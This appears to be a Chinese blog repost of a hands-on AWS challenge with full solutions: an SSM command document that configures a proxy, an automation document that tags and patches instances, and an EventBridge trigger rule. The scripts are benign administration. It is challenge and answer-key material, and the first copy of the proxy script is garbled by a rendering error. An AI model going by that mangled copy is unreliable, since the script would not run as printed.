
你的昵称真的是 OpsAutomator 吗?让我们来了解一下。

任务 1:脚本就是一切
背景
祝贺你的新工作!迁移负责人关心您一次处理所有这些服务器的能力。还记得以前的工程师发生了什么吗?在搜索 AWS 时,您发现 AWS Systems Manager 具有跨实例组自动执行常见管理任务的功能。这项服务看起来正是您所需要的!

你的任务
您的任务是找到一种在每个迁移的实例上执行以下脚本的方法,而无需连接到其中的任何一个。该文档应命名为 ConfigureProxy,并且应仅在 linux 平台上运行。
#!/bin/bash
set -e
PROXY=“http://proxy.acme.aws:3128”
NOPROXY=“169.254.169.254,ssm.eu-west-1.amazonaws.com,ec2.eu-west-1.amazonaws.com,ec2messages.eu-west-1.amazonaws.com”
mkdir -p /etc/systemd/system/snap.amazon-ssm-agent.amazon-ssm-agent.service.d
cat << EOF > /etc/systemd/system/snap.amazon-ssm-agent.amazon-ssm-agent.service.d/override.conf
[Service]
Environment=“http_proxy=P R O X Y " E n v i r o n m e n t = " h t t p s p r o x y = PROXY" Environment="https_proxy=PROXY"Environment="https 
p
​    
 roxy=PROXY”
Environment=“no_proxy=KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ HTTP::proxy "PROXY”;
HTTPS::proxy “$PROXY”;
}
EOF
echo “Proxy configuration complete.”
入门
跳转到 AWS 控制台并开始查看 AWS Systems Manager 如何处理远程脚本执行。

存货
您的 AWS 账户预置了一个名为 MigratedInstance 的 Amazon EC2 实例,您可以使用它进行测试和故障排除。

您应该使用的服务
AWS Systems Manager、用于故障排除的 Amazon EC2

任务验证
您的任务会自动验证。您还可以单击检查我的进度按钮以获得一些指导。

线索2:解决方案
为了解决此任务,您必须完成以下步骤:

转到 AWS Systems Manager 控制台页面。
点击文档
单击创建命令或会话
输入“ConfigureProxy”作为名称
选择 YAML 作为内容并粘贴以下内容
schemaVersion: “2.2”
description: “Command Document Example YAML Template”
mainSteps:

action: “aws:runShellScript”
name: “configureLinuxProxy”
precondition:
StringEquals:
- platformType
- Linux
inputs:
runCommand:
‘#!/bin/bash’
‘set -e’
‘PROXY=“http://proxy.acme.aws:3128”’
‘NOPROXY=“169.254.169.254,ssm.eu-west-1.amazonaws.com,ec2.eu-west-1.amazonaws.com,ec2messages.eu-west-1.amazonaws.com”’
‘mkdir -p /etc/systemd/system/snap.amazon-ssm-agent.amazon-ssm-agent.service.d’
‘cat << EOF > /etc/systemd/system/snap.amazon-ssm-agent.amazon-ssm-agent.service.d/override.conf’
‘[Service]’
‘Environment=“http_proxy=$PROXY”’
‘Environment=“https_proxy=$PROXY”’
‘Environment=“no_proxy=$NOPROXY”’
‘EOF’
‘systemctl daemon-reload’
‘systemctl restart snap.amazon-ssm-agent.amazon-ssm-agent.service’
‘cat << EOF > /etc/apt/apt.conf.d/02proxy’
‘Acquire {’
‘HTTP::proxy “$PROXY”;’
‘HTTPS::proxy “$PROXY”;’
‘}’
‘EOF’
‘echo “Proxy configuration complete.”’
The document created will have one step named configureLinuxProxy. This step has a precondition to run only on Linux hosts. It takes then as input a runCommand object containing a list of shell commands to execute.
单击创建文档

任务 2:如果你做两次,一次就太多了。
背景
您度过了这一天,多亏了您,所有服务器都及时迁移,您的经理非常高兴!当他挂断电话时,他会向您发送一封邮件,其中包含要在迁移期间执行的操作列表。这些操作已从初始迁移步骤中删除,因为系统管理员没有时间完成它们。

发件人:manager@acme.com

再次感谢您今天的帮助。您的脚本和 RunCommand 文档确实有助于缩短迁移持续时间。现在您有一些空闲时间,也许您可​​以处理以下列表?

标记实例以跟踪正在重新配置的实例。我们在遗漏实例方面遇到了一些问题。
应用代理设置
应用补丁基线
删除发现代理
标记实例以跟踪完成情况,以便下一个团队知道何时重新配置应用程序。
问候,
你的经理。
你的任务
在第二个任务中,您需要创建一个名为 PostMigrationAutomation(区分大小写)的自动化文档,它将执行上述任务:

使用键:migration_status 和值:postmigration_started 标记实例
运行 ConfigureProxy 文档以设置代理设置
运行 AWS-RunPatchBaseline 文档以检查实例的更新
运行 RemoveDiscoveryAgent 文档以从发现代理中清除服务器
使用键:migration_status 和值:postmigration_completed 标记实例
入门
打开 AWS Systems Manager 控制台并查找一些示例。

存货
一个 IAM 角色,用于在输出属性中委派自动化

您应该使用的服务
AWS Systems Manager、用于故障排除的 Amazon EC2

任务验证
您的任务会自动验证。您还可以单击检查我的进度按钮以获得一些指导。

注意:
您不需要运行自动化文档来成功完成挑战。

线索2:解决方案
要解决此任务,您必须执行以下操作。

转到 AWS Systems Manager 控制台。
转到文档。
单击创建自动化。
输入“PostMigrationAutomation”作为名称。
为 Assume role 输入 SSMAutomationRole 的 ARN。
对于输入参数,参数名称输入“instanceId”。
对于第 1 步:
输入“tag_start”作为步骤名称。
为操作类型选择为 AWS 资源创建标签。
在输入下为资源 ID 输入 -“{{instanceId}}”。
输入 [{“Key”: “migration_status”, “Value”: “postmigration_started”}] 作为标签。
单击添加步骤。
对于第 2 步:
为步骤名称输入“configure_proxy”。
为操作类型选择在托管实例上运行命令。
在输入下为文档名称输入“ConfigureProxy”
在 Inputs 下为 InstanceIds 输入 -“{{instanceId}}”。
单击添加步骤。
对于第 3 步:
为步骤名称输入“patch_instance”。
为操作类型选择在托管实例上运行命令。
在输入下为文档名称输入“AWS-RunPatchBaseline”
在 Inputs 下为 InstanceIds 输入 -“{{instanceId}}”。
单击添加步骤。
对于第 4 步:
为步骤名称输入“remove_discovery_agent”。
为操作类型选择在托管实例上运行命令。
在 Inputs 下为 Document name 输入“RemoveDiscoveryAgent”
在 Inputs 下为 InstanceIds 输入 -“{{instanceId}}”。
单击添加步骤。
对于第 5 步:
为步骤名称输入“tag_complete”。
为操作类型选择为 AWS 资源创建标签。
在输入下为资源 ID 输入 -“{{instanceId}}”。
输入 [{“Key”: “migration_status”, “Value”: “postmigration_completed”}] 作为标签。
单击创建自动化。
本文档将执行标记、配置代理、打补丁、移除代理和再次标记这 5 个步骤。所有这些步骤都将通过 SSM 自动化角色启动。参数 instanceId 将确定必须针对哪个实例。

任务 3:放开手!是时候放松
跟踪迁移的服务器
背景
您自动化了所有的迁移后步骤,并且服务器正在日复一日地迁移。您通过在迁移后开始和迁移结束时标记服务器来确保永远不会忘记服务器。由于迁移项目的进度有点晚,您的经理打电话询问您是否可以推迟假期以保持迁移顺利进行。由于您无意这样做,您正在寻找一种即使在假期也能自动触发自动化的方法。

你的任务
在这第三个任务中,您应该查看在设置标签 migration_status = ready_for_postmigration 时触发自动化。您可以通过在 CloudTrail 中为关联事件创建规则来实现。该规则应命名为 AutomationTrigger。

示例事件:
{
“version”: “0”,
“id”: “67df5f3e-57ea-fac5-4c6e-fc83b9abcdef”,
“detail-type”: “AWS API Call via CloudTrail”,
“source”: “aws.ec2”,
“account”: “123456789012”,
“time”: “2020-10-19T06:22:21Z”,
“region”: “eu-west-1”,
“resources”: [],
“detail”: {
“eventVersion”: “1.05”,
“userIdentity”: {
“type”: “AssumedRole”,
“principalId”: “AROAI4UAWJ76D55TKEVY6:Example”,
“arn”: “arn:aws:sts::123456789012:assumed-role/Admin/ExampleSession”,
“accountId”: “123456789012”,
“accessKeyId”: “ASIAUTDEHZRDLEXAMPLE”,
“sessionContext”: {
“sessionIssuer”: {
“type”: “Role”,
“principalId”: “AROAI4UAWJ76D5EXAMPLE”,
“arn”: “arn:aws:iam::123456789012:role/Admin”,
“accountId”: “123456789012”,
“userName”: “Admin”
},
“webIdFederationData”: {},
“attributes”: {
“mfaAuthenticated”: “false”,
“creationDate”: “2020-10-19T06:13:22Z”
}
}
},
“eventTime”: “2020-10-19T06:22:21Z”,
“eventSource”: “ec2.amazonaws.com”,
“eventName”: “CreateTags”,
“awsRegion”: “eu-west-1”,
“sourceIPAddress”: “10.0.0.1”,
“userAgent”: “console.ec2.amazonaws.com”,
“requestParameters”: {
“resourcesSet”: {
“items”: [
{
“resourceId”: “i-00c9eab2d04abcdef”
}
]
},
“tagSet”: {
“items”: [
{
“key”: “migration_status”,
“value”: “ready_for_postmigration”
}
]
}
},
“responseElements”: {
“requestId”: “a939f941-6a83-4048-9717-a9ba43485aad”,
“_return”: true
},
“requestID”: “a939f941-6a83-4048-9717-a9ba43485aad”,
“eventID”: “80e3b894-d070-4ad5-b122-e0712da23d79”,
“eventType”: “AwsApiCall”
}
}
入门
打开 Amazon EventBridge 并创建您自己的规则。
您将处理 JSON 事件,因此我建议使用 JSONPath 评估器来简化故障排除。

存货
一个 IAM 角色用于在输出属性中启动自动化。

您应该使用的服务
Amazon EventBridge、AWS Systems Manager、用于故障排除的 Amazon EC2。

任务验证
您的任务会自动验证。 您还可以单击检查我的进度按钮以获得一些指导。

线索3:解决方案
为了解决这个任务:

转至 Amazon EventBridge 控制台。
单击创建规则。
输入“AutomationTrigger”作为名称。
选择事件模式。
选择自定义模式。
在事件模式中输入以下模式。
{
“source”: [
“aws.ec2”
],
“detail-type”: [
“AWS API Call via CloudTrail”
],
“detail”: {
“eventSource”: [
“ec2.amazonaws.com”
],
“eventName”: [
“CreateTags”
],
“requestParameters”: {
“tagSet”: {
“items”: {
“key”: [
“migration_status”
],
“value”: [
“ready_for_postmigration”
]
}
}
}
}
}
这种模式意味着我们正在寻找来自 CloudTrail 的 aws.ec2 事件,其中源是 ec2.amazonaws.com,事件名称是 CreateTags,键和值是 migration_status 和 ready_for_postmigration。

点击保存
对于选择目标,选择 SSM 自动化。
为文档选择 PostMigrationAutomation。
为配置自动化参数选择输入转换器
将以下 json 粘贴到第一个单元格中
{“instances”: “$.detail.requestParameters.resourcesSet.items[*].resourceId”}
Paste the following json in the second cell (replace instanceId with the parameter name of your PostMigrationAutomation SSM document)
{“instanceId”: []}
Choose Use existing role
Select Amazon_EventBridge_Start_Automation
点击创建
 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值